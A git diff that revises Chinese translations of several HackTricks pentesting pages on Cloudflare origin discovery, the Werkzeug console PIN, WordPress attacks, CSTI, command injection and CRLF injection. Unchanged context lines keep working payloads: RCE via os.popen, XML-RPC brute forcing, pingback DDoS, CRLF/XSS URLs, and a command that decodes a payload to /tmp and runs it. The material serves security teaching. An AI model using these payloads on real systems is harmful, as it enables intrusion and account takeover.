如果你有一组潜在的 IP 地址,网页可能位于这些地址上,你可以使用 [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder)。 ```bash # You can check if the tool is working with prips 1.0.0.0/30 | hakoriginfinder -h one.one.one.one @@ -41,7 +41,9 @@ done 有关此过程的更好描述,请查看: -{% embed url="https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{{#ref}} +https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks +{{#endref}} ```bash # Find open ports sudo masscan --max-rate 10000 -p80,443 $(curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix' | tr '\n' ' ') | grep "open" > all_open.txt @@ -59,20 +61,20 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. ### 认证源拉取 -该机制依赖于 **client** [**SSL certificates**](https://socradar.io/how-to-monitor-your-ssl-certificates-expiration-easily-and-why/) **来验证连接**,连接在 **Cloudflare 的反向代理** 服务器和 **源** 服务器之间,这被称为 **mTLS**。 +该机制依赖于 **client** [**SSL 证书**](https://socradar.io/how-to-monitor-your-ssl-certificates-expiration-easily-and-why/) **来验证连接**,连接在 **Cloudflare 的反向代理** 服务器和 **源** 服务器之间,这被称为 **mTLS**。 客户可以简单地使用 Cloudflare 的证书来允许来自 Cloudflare 的任何连接,**无论租户如何**。 > [!CAUTION] > 因此,攻击者可以仅仅设置一个 **使用 Cloudflare 的证书的域名并将其指向** **受害者** 域名的 **IP** 地址。这样,设置他的域名完全不受保护,Cloudflare 不会保护发送的请求。 -更多信息 [**这里**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/)。 +更多信息 [**在这里**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/)。 ### 允许列表 Cloudflare IP 地址 这将 **拒绝不来自 Cloudflare 的** IP 地址范围的连接。这也容易受到之前设置的攻击,攻击者只需 **将自己的域名指向 Cloudflare** 的 **受害者 IP** 地址并进行攻击。 -更多信息 [**这里**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/)。 +更多信息 [**在这里**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/)。 ## 绕过 Cloudflare 进行抓取 @@ -91,7 +93,7 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. ### Cloudflare 解算器 -已经开发了许多 Cloudflare 解算器: +已经开发了多种 Cloudflare 解算器: - [FlareSolverr](https://github.com/FlareSolverr/FlareSolverr) - [cloudscraper](https://github.com/VeNoMouS/cloudscraper) [指南在这里](https://scrapeops.io/python-web-scraping-playbook/python-cloudscraper/) @@ -105,32 +107,32 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. 使用一个不会被检测为自动化浏览器的无头浏览器(你可能需要为此进行定制)。一些选项包括: -- **Puppeteer:** [stealth plugin](https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth) 用于 [puppeteer](https://github.com/puppeteer/puppeteer)。 -- **Playwright:** [stealth plugin](https://www.npmjs.com/package/playwright-stealth) 很快将加入 Playwright。请关注 [这里](https://github.com/berstend/puppeteer-extra/issues/454) 和 [这里](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra) 的进展。 +- **Puppeteer:** [stealth 插件](https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth) 用于 [puppeteer](https://github.com/puppeteer/puppeteer)。 +- **Playwright:** [stealth 插件](https://www.npmjs.com/package/playwright-stealth) 很快将加入 Playwright。请关注 [这里](https://github.com/berstend/puppeteer-extra/issues/454) 和 [这里](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra) 的进展。 - **Selenium:** [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver) 是一个优化的 Selenium Chromedriver 补丁。 -### 带有 Cloudflare 内置绕过的智能代理 +### 智能代理与 Cloudflare 内置绕过 **智能代理** 由专业公司持续更新,旨在超越 Cloudflare 的安全措施(因为这是他们的业务)。 -其中一些是: +其中一些包括: - [ScraperAPI](https://www.scraperapi.com/?fp_ref=scrapeops) - [Scrapingbee](https://www.scrapingbee.com/?fpr=scrapeops) - [Oxylabs](https://oxylabs.go2cloud.org/aff_c?offer_id=7&aff_id=379&url_id=32) - [Smartproxy](https://prf.hn/click/camref:1100loxdG/[p_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) 以其专有的 Cloudflare 绕过机制而闻名。 -对于那些寻求优化解决方案的人,[ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/) 脱颖而出。该服务将超过 20 个代理提供商集成到一个 API 中,自动选择最佳和最具成本效益的代理,以便为你的目标域名提供更优的选择,从而更好地应对 Cloudflare 的防御。 +对于寻求优化解决方案的人,[ScrapeOps 代理聚合器](https://scrapeops.io/proxy-aggregator/) 脱颖而出。该服务将超过 20 个代理提供商集成到一个 API 中,自动选择最佳和最具成本效益的代理,以便为你的目标域名提供更优的选择,从而更好地应对 Cloudflare 的防御。 ### 逆向工程 Cloudflare 反机器人保护 -逆向工程 Cloudflare 的反机器人措施是智能代理提供商使用的一种策略,适合于大规模网页抓取,而无需高成本运行多个无头浏览器。 +逆向工程 Cloudflare 的反机器人措施是智能代理提供商使用的一种策略,适合于大规模网页抓取,而无需高成本地运行多个无头浏览器。 **优点:** 这种方法允许创建一个极其高效的绕过,专门针对 Cloudflare 的检查,适合大规模操作。 -**缺点:** 缺点在于理解和欺骗 Cloudflare 故意模糊的反机器人系统的复杂性,需要持续努力测试不同的策略并在 Cloudflare 增强其保护时更新绕过。 +**缺点:** 缺点在于理解和欺骗 Cloudflare 故意模糊的反机器人系统的复杂性,需要持续努力测试不同的策略并在 Cloudflare 加强保护时更新绕过。 -在 [原始文章](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/) 中找到更多关于如何做到这一点的信息。 +有关如何做到这一点的更多信息,请参见 [原始文章](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/)。 ## 参考文献 diff --git a/src/network-services-pentesting/pentesting-web/werkzeug.md b/src/network-services-pentesting/pentesting-web/werkzeug.md index cfe44f437..db002e084 100644 --- a/src/network-services-pentesting/pentesting-web/werkzeug.md +++ b/src/network-services-pentesting/pentesting-web/werkzeug.md @@ -2,7 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} - ## 控制台 RCE 如果调试处于活动状态,您可以尝试访问 `/console` 并获得 RCE。 @@ -15,7 +14,7 @@ __import__('os').popen('whoami').read(); ## Pin 保护 - 路径遍历 -在某些情况下,**`/console`** 端点将受到 pin 的保护。如果您有 **文件遍历漏洞**,您可以泄露生成该 pin 所需的所有信息。 +在某些情况下,**`/console`** 端点将受到 pin 的保护。如果你有 **文件遍历漏洞**,你可以泄露生成该 pin 所需的所有信息。 ### Werkzeug 控制台 PIN 漏洞 @@ -40,7 +39,7 @@ shell that runs the server - **`uuid.getnode()`**: 获取当前机器的 MAC 地址,`str(uuid.getnode())` 将其转换为十进制格式。 -- 要 **确定服务器的 MAC 地址**,必须识别应用使用的活动网络接口(例如,`ens3`)。如果不确定,**泄露 `/proc/net/arp`** 以查找设备 ID,然后 **从 `/sys/class/net//address`** 中提取 MAC 地址。 +- 要 **确定服务器的 MAC 地址**,必须识别应用使用的活动网络接口(例如,`ens3`)。如果不确定,**泄露 `/proc/net/arp`** 以找到设备 ID,然后 **从 `/sys/class/net//address`** 中提取 MAC 地址。 - 将十六进制 MAC 地址转换为十进制可以如下进行: ```python @@ -141,20 +140,22 @@ rv = num print(rv) ``` -该脚本通过对连接的位进行哈希处理,添加特定的盐(`cookiesalt` 和 `pinsalt`),并格式化输出,从而生成 PIN。需要注意的是,`probably_public_bits` 和 `private_bits` 的实际值需要从目标系统准确获取,以确保生成的 PIN 与 Werkzeug 控制台预期的匹配。 +该脚本通过对连接的位进行哈希,添加特定的盐(`cookiesalt` 和 `pinsalt`),并格式化输出,生成 PIN。需要注意的是,`probably_public_bits` 和 `private_bits` 的实际值需要从目标系统准确获取,以确保生成的 PIN 与 Werkzeug 控制台预期的匹配。 > [!TIP] > 如果您使用的是 **旧版本** 的 Werkzeug,请尝试将 **哈希算法更改为 md5** 而不是 sha1。 ## Werkzeug Unicode 字符 -正如在 [**这个问题**](https://github.com/pallets/werkzeug/issues/2833) 中观察到的,Werkzeug 不会关闭带有 Unicode 字符的请求。正如在 [**这篇文章**](https://mizu.re/post/twisty-python) 中解释的,这可能导致 CL.0 请求走私漏洞。 +正如在 [**这个问题**](https://github.com/pallets/werkzeug/issues/2833) 中观察到的,Werkzeug 不会关闭带有 Unicode 字符的请求头。正如在 [**这篇文章**](https://mizu.re/post/twisty-python) 中解释的,这可能导致 CL.0 请求走私漏洞。 -这是因为,在 Werkzeug 中可以发送一些 **Unicode** 字符,这会导致服务器 **崩溃**。然而,如果 HTTP 连接是通过 **`Connection: keep-alive`** 头创建的,请求的主体将不会被读取,连接仍将保持打开状态,因此请求的 **主体** 将被视为 **下一个 HTTP 请求**。 +这是因为,在 Werkzeug 中可以发送一些 **Unicode** 字符,这会导致服务器 **崩溃**。然而,如果 HTTP 连接是使用 **`Connection: keep-alive`** 头创建的,请求的主体将不会被读取,连接仍将保持打开状态,因此请求的 **主体** 将被视为 **下一个 HTTP 请求**。 ## 自动化利用 -{% embed url="https://github.com/Ruulian/wconsole_extractor" %} +{{#ref}} +https://github.com/Ruulian/wconsole_extractor +{{#endref}} ## 参考文献 diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 39582b613..64275a1a7 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -5,7 +5,7 @@ ## 基本信息 - **上传**的文件位于: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **主题文件可以在 /wp-content/themes/ 中找到,** 所以如果你修改主题的一些 php 文件以获取 RCE,你可能会使用该路径。例如: 使用 **theme twentytwelve** 你可以 **访问** **404.php** 文件在: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **主题文件可以在 /wp-content/themes/ 中找到,** 所以如果你更改主题的一些 php 文件以获取 RCE,你可能会使用该路径。例如: 使用 **theme twentytwelve** 你可以 **访问** **404.php** 文件在: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **另一个有用的 URL 可能是:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) @@ -35,7 +35,7 @@ ### 用户权限 - **管理员** -- **编辑者**: 发布和管理他和其他人的帖子 +- **编辑**: 发布和管理他和其他人的帖子 - **作者**: 发布和管理自己的帖子 - **贡献者**: 撰写和管理自己的帖子但不能发布 - **订阅者**: 浏览帖子并编辑他们的个人资料 @@ -89,9 +89,9 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -如果响应是 **200** 或 **30X**,则表示该 id 是 **有效** 的。如果响应是 **400**,则该 id 是 **无效** 的。 +如果响应是 **200** 或 **30X**,这意味着 id 是 **有效** 的。如果响应是 **400**,那么 id 是 **无效** 的。 -- **wp-json:** 您还可以通过查询来获取有关用户的信息: +- **wp-json:** 你也可以通过查询来获取用户的信息: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` @@ -120,9 +120,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` ![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656) -**凭据暴力破解** +**凭证暴力破解** -**`wp.getUserBlogs`**、**`wp.getCategories`** 或 **`metaWeblog.getUsersBlogs`** 是一些可以用来暴力破解凭据的方法。如果你能找到其中任何一个,你可以发送类似于: +**`wp.getUserBlogs`**、**`wp.getCategories`** 或 **`metaWeblog.getUsersBlogs`** 是一些可以用来暴力破解凭证的方法。如果你能找到其中任何一个,你可以发送类似于: ```markup wp.getUsersBlogs @@ -178,8 +178,8 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL **DDoS 或端口扫描** -如果您可以在列表中找到方法 _**pingback.ping**_,您可以让 Wordpress 向任何主机/端口发送任意请求。\ -这可以用来请求**成千上万**的 Wordpress **站点**去**访问**一个**位置**(因此在该位置造成**DDoS**),或者您可以用它让**Wordpress**去**扫描**一些内部**网络**(您可以指定任何端口)。 +如果您可以在列表中找到方法 _**pingback.ping**_,则可以使 Wordpress 向任何主机/端口发送任意请求。\ +这可以用来请求**成千上万**的 Wordpress **站点** **访问**一个**位置**(因此在该位置造成**DDoS**),或者您可以用它让**Wordpress** **扫描**一些内部**网络**(您可以指定任何端口)。 ```markup pingback.ping @@ -225,9 +225,11 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ## SSRF -{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %} +{{#ref}} +https://github.com/t0gu/quickpress/blob/master/core/requests.go +{{#endref}} -此工具检查**methodName: pingback.ping**和路径**/wp-json/oembed/1.0/proxy**,如果存在,它会尝试利用它们。 +此工具检查**methodName: pingback.ping**和路径**/wp-json/oembed/1.0/proxy**,如果存在,则尝试利用它们。 ## Automatic Tools ```bash @@ -237,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## 通过覆盖一个比特获取访问权限 -这不仅仅是一次真正的攻击,而是一种好奇。在 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) 中,你可以翻转任何 WordPress 文件的 1 个比特。因此,你可以将文件 `/var/www/html/wp-includes/user.php` 的位置 `5389` 翻转,以 NOP NOT (`!`) 操作。 +这不仅仅是真正的攻击,而是一种好奇。在 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) 中,你可以翻转任何 WordPress 文件的 1 个比特。因此,你可以将文件 `/var/www/html/wp-includes/user.php` 的位置 `5389` 翻转为 NOP NOT (`!`) 操作。 ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( @@ -275,7 +277,7 @@ use exploit/unix/webapp/wp_admin_shell_upload ![](<../../images/image (722).png>) -上传插件并按立即安装: +上传插件并按“立即安装”: ![](<../../images/image (249).png>) @@ -283,7 +285,7 @@ use exploit/unix/webapp/wp_admin_shell_upload ![](<../../images/image (70).png>) -这可能看起来没有任何作用,但如果您转到媒体,您将看到您的 shell 已上传: +这可能看起来没有任何反应,但如果您转到媒体,您将看到您的 shell 已上传: ![](<../../images/image (462).png>) @@ -301,7 +303,7 @@ use exploit/unix/webapp/wp_admin_shell_upload - 上传下载插件的 zip 文件。 3. **插件激活**:插件成功安装后,必须通过仪表板激活。 4. **利用**: -- 安装并激活插件 "reflex-gallery",可以利用它,因为已知存在漏洞。 +- 安装并激活插件“reflex-gallery”,可以利用它,因为已知存在漏洞。 - Metasploit 框架提供了此漏洞的利用。通过加载适当的模块并执行特定命令,可以建立 meterpreter 会话,从而获得对站点的未经授权访问。 - 注意,这只是利用 WordPress 网站的众多方法之一。 @@ -311,9 +313,9 @@ use exploit/unix/webapp/wp_admin_shell_upload ## 从 XSS 到 RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike):_**WPXStrike**_ 是一个旨在将 **跨站脚本 (XSS)** 漏洞升级为 **远程代码执行 (RCE)** 或其他关键漏洞的脚本,适用于 WordPress。有关更多信息,请查看 [**此帖子**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它提供对 WordPress 版本 6.X.X、5.X.X 和 4.X.X 的 **支持,并允许:** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike):_**WPXStrike**_ 是一个旨在将 **跨站脚本 (XSS)** 漏洞升级为 **远程代码执行 (RCE)** 或其他关键漏洞的脚本,适用于 WordPress。有关更多信息,请查看 [**此帖子**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它提供对 **Wordpress 版本 6.X.X、5.X.X 和 4.X.X 的支持,并允许:** - _**权限提升:**_ 在 WordPress 中创建用户。 -- _**(RCE) 自定义插件 (后门) 上传:**_ 将您的自定义插件 (后门) 上传到 WordPress。 +- _**(RCE) 自定义插件(后门)上传:**_ 将您的自定义插件(后门)上传到 WordPress。 - _**(RCE) 内置插件编辑:**_ 编辑 WordPress 中的内置插件。 - _**(RCE) 内置主题编辑:**_ 编辑 WordPress 中的内置主题。 - _**(自定义) 自定义利用:**_ 针对第三方 WordPress 插件/主题的自定义利用。 @@ -388,10 +390,10 @@ add_filter( 'auto_update_theme', '__return_true' ); ### **其他建议** -- 删除默认 **admin** 用户 +- 移除默认的 **admin** 用户 - 使用 **强密码** 和 **2FA** - 定期 **审查** 用户 **权限** -- **限制登录尝试** 以防止暴力破解攻击 +- **限制登录尝试** 以防止暴力攻击 - 重命名 **`wp-admin.php`** 文件,并仅允许内部或特定 IP 地址访问。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/other-web-tricks.md b/src/other-web-tricks.md index 9b7d73fd9..cd036d788 100644 --- a/src/other-web-tricks.md +++ b/src/other-web-tricks.md @@ -2,18 +2,17 @@ {{#include ./banners/hacktricks-training.md}} - ### 主机头 -几次后端信任 **Host header** 来执行某些操作。例如,它可能会使用其值作为 **发送密码重置的域**。因此,当您收到一封包含重置密码链接的电子邮件时,使用的域是您在 Host header 中输入的域。然后,您可以请求其他用户的密码重置,并将域更改为您控制的域,以窃取他们的密码重置代码。 [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2)。 +几次后端信任 **Host header** 来执行某些操作。例如,它可能会使用其值作为 **发送密码重置的域**。因此,当您收到一封带有重置密码链接的电子邮件时,使用的域是您在 Host header 中输入的域。然后,您可以请求其他用户的密码重置,并将域更改为您控制的域,以窃取他们的密码重置代码。 [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2)。 > [!WARNING] -> 请注意,您甚至可能不需要等待用户点击重置密码链接以获取令牌,因为 **垃圾邮件过滤器或其他中介设备/机器人可能会点击它以进行分析**。 +> 请注意,您甚至可能不需要等待用户点击重置密码链接来获取令牌,因为可能连 **垃圾邮件过滤器或其他中介设备/机器人都会点击它进行分析**。 ### 会话布尔值 有时,当您正确完成某些验证时,后端会 **仅将值为 "True" 的布尔值添加到您的会话的安全属性中**。然后,另一个端点将知道您是否成功通过了该检查。\ -然而,如果您 **通过检查** 并且您的会话在安全属性中获得了 "True" 值,您可以尝试 **访问其他资源**,这些资源 **依赖于相同的属性**,但您 **不应该有权限** 访问。 [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a)。 +然而,如果您 **通过了检查**,并且您的会话在安全属性中获得了 "True" 值,您可以尝试 **访问其他资源**,这些资源 **依赖于相同的属性**,但您 **不应该有权限** 访问。 [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a)。 ### 注册功能 @@ -21,11 +20,13 @@ ### 接管电子邮件 -注册一个电子邮件,在确认之前更改电子邮件,然后,如果新的确认电子邮件发送到第一个注册的电子邮件,您可以接管任何电子邮件。或者,如果您可以启用第二个电子邮件以确认第一个电子邮件,您也可以接管任何帐户。 +注册一个电子邮件,在确认之前更改电子邮件,然后,如果新的确认电子邮件发送到第一个注册的电子邮件,您可以接管任何电子邮件。或者,如果您可以启用第二个电子邮件以确认第一个电子邮件,您也可以接管任何账户。 ### 访问使用 atlassian 的公司的内部服务台 -{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %} +{{#ref}} +https://yourcompanyname.atlassian.net/servicedesk/customer/user/login +{{#endref}} ### TRACE 方法 @@ -33,5 +34,4 @@ ![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png) - {{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-web/captcha-bypass.md b/src/pentesting-web/captcha-bypass.md index 8bd162d03..2345dfac7 100644 --- a/src/pentesting-web/captcha-bypass.md +++ b/src/pentesting-web/captcha-bypass.md @@ -21,7 +21,7 @@ - 利用光学字符识别(OCR)工具,如[Tesseract OCR](https://github.com/tesseract-ocr/tesseract),自动化从图像中读取字符。 4. **其他技术**: - **速率限制测试**:检查应用程序是否限制在给定时间内的尝试或提交次数,以及是否可以绕过或重置此限制。 -- **第三方服务**:使用验证码解决服务或API,提供自动化验证码识别和解决。 +- **第三方服务**:使用提供自动验证码识别和解决的验证码解决服务或API。 - **会话和IP轮换**:频繁更改会话ID和IP地址,以避免被服务器检测和阻止。 - **用户代理和头部操控**:更改用户代理和其他请求头,以模拟不同的浏览器或设备。 - **音频验证码分析**:如果有音频验证码选项,使用语音转文本服务来解释和解决验证码。 @@ -30,8 +30,10 @@ ### [CapSolver](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) -[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) 是一项AI驱动的服务,专门自动解决各种类型的验证码,通过帮助开发人员轻松克服在Web抓取过程中遇到的验证码挑战,增强数据收集。它支持的验证码包括**reCAPTCHA V2、reCAPTCHA V3、DataDome、AWS Captcha、Geetest和Cloudflare转闸等**。对于开发人员,Capsolver提供了详细的API集成选项,见[**文档**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** 便于将验证码解决集成到应用程序中。他们还提供了适用于[Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod)和[Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/)的浏览器扩展,使用户可以直接在浏览器中轻松使用他们的服务。提供不同的定价套餐以满足不同需求,确保用户的灵活性。 +[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) 是一个由AI驱动的服务,专门自动解决各种类型的验证码,通过帮助开发人员轻松克服在Web抓取过程中遇到的验证码挑战来增强数据收集。它支持的验证码包括**reCAPTCHA V2、reCAPTCHA V3、DataDome、AWS Captcha、Geetest和Cloudflare转闸等**。对于开发人员,Capsolver提供了详细的API集成选项,见[**文档**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** 便于将验证码解决集成到应用程序中。他们还提供了适用于[Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod)和[Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/)的浏览器扩展,使用户可以直接在浏览器中轻松使用他们的服务。提供不同的定价套餐以满足不同需求,确保用户的灵活性。 -{% embed url="https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks" %} +{{#ref}} +https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index a4b10f4da..27b3c1cff 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -23,8 +23,7 @@ AngularJS 是一个广泛使用的 JavaScript 框架,通过称为指令的属 ``` 您可以在 **AngularJS** 中找到该漏洞的一个非常 **基本的在线示例**,链接为 [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) 和 [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) -> [!CAUTION] -> [**Angular 1.6 移除了沙箱**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html),因此从这个版本开始,像 `{{constructor.constructor('alert(1)')()}}` 或 `` 这样的有效载荷应该可以工作。 +> [!CAUTION] > [**Angular 1.6 移除了沙箱**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html),因此从这个版本开始,像 `{{constructor.constructor('alert(1)')()}}` 或 `` 的有效载荷应该可以工作。 ## VueJS @@ -72,7 +71,8 @@ javascript:alert(1)%252f%252f..%252fcss-images ## **暴力破解检测列表** -{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} - +{{#ref}} +https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 801b5950e..6b8aa95af 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,7 +2,6 @@ {{#include ../banners/hacktricks-training.md}} - ## 什么是命令注入? **命令注入** 允许攻击者在托管应用程序的服务器上执行任意操作系统命令。因此,应用程序及其所有数据可能会完全被破坏。这些命令的执行通常使攻击者能够获得对应用程序环境和底层系统的未经授权的访问或控制。 @@ -32,7 +31,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful ``` ### **限制** 绕过 -如果您尝试在 **linux 机器内部执行任意命令**,您会对这些 **绕过** 感兴趣: +如果您尝试在 **linux 机器内部执行任意命令**,您会对以下 **绕过** 感兴趣: {{#ref}} ../linux-hardening/bypass-bash-restrictions/ @@ -76,7 +75,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### 基于时间的数据外泄 -逐字符提取数据: +逐字符提取数据: ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -120,7 +119,9 @@ powershell C:**2\n??e*d.*? # notepad ## 暴力破解检测列表 -{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %} +{{#ref}} +https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt +{{#endref}} ## 参考文献 diff --git a/src/pentesting-web/crlf-0d-0a.md b/src/pentesting-web/crlf-0d-0a.md index 44dd01340..a308b1b5a 100644 --- a/src/pentesting-web/crlf-0d-0a.md +++ b/src/pentesting-web/crlf-0d-0a.md @@ -2,11 +2,9 @@ {{#include ../banners/hacktricks-training.md}} - - ### CRLF -回车 (CR) 和换行 (LF),统称为 CRLF,是在 HTTP 协议中用于表示行结束或新行开始的特殊字符序列。Web 服务器和浏览器使用 CRLF 来区分 HTTP 头部和响应体。这些字符在各种 Web 服务器类型(如 Apache 和 Microsoft IIS)中普遍用于 HTTP/1.1 通信。 +回车 (CR) 和换行 (LF),统称为 CRLF,是在 HTTP 协议中用于表示行结束或新行开始的特殊字符序列。Web 服务器和浏览器使用 CRLF 来区分 HTTP 头部和响应体。这些字符在各种 Web 服务器类型(如 Apache 和 Microsoft IIS)中的 HTTP/1.1 通信中被普遍使用。 ### CRLF 注入漏洞 @@ -31,13 +29,13 @@ IP - Time - Visited Path 123.123.123.123 - 08:15 - /index.php?page=home& 127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit ``` -攻击者通过使其恶意活动看起来像是本地主机(在服务器环境中通常被信任的实体)执行的操作,从而掩盖其活动。服务器将以 `%0d%0a` 开头的查询部分解释为单个参数,而 `restrictedaction` 参数则被解析为另一个独立的输入。被操控的查询有效地模仿了一个合法的管理命令:`/index.php?page=home&restrictedaction=edit` +攻击者通过使其恶意活动看起来像是本地主机(在服务器环境中通常被信任的实体)执行的操作,从而掩盖其恶意活动。服务器将以 `%0d%0a` 开头的查询部分解释为一个单一参数,而 `restrictedaction` 参数则被解析为另一个独立输入。被操控的查询有效地模拟了一个合法的管理命令:`/index.php?page=home&restrictedaction=edit` ### HTTP 响应拆分 #### 描述 -HTTP 响应拆分是一种安全漏洞,发生在攻击者利用 HTTP 响应的结构时。该结构使用特定字符序列将头部与主体分开,即回车(CR)后跟换行(LF),统称为 CRLF。如果攻击者成功地将 CRLF 序列插入响应头中,他们可以有效地操控后续的响应内容。这种操控可能导致严重的安全问题,特别是跨站脚本(XSS)。 +HTTP 响应拆分是一种安全漏洞,发生在攻击者利用 HTTP 响应的结构时。该结构使用特定字符序列将头部与主体分开,即回车(CR)后跟换行(LF),统称为 CRLF。如果攻击者设法在响应头中插入 CRLF 序列,他们可以有效地操控后续的响应内容。这种操控可能导致严重的安全问题,特别是跨站脚本(XSS)。 #### 通过 HTTP 响应拆分进行 XSS @@ -65,18 +63,20 @@ http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHT ``` #### 在 URL 路径中 -您可以将有效负载 **放在 URL 路径中** 以控制服务器的 **响应**(来自 [here](https://hackerone.com/reports/192667) 的示例): +您可以将有效负载 **放在 URL 路径中** 以控制服务器的 **响应**(来自 [这里](https://hackerone.com/reports/192667) 的示例): ``` http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E 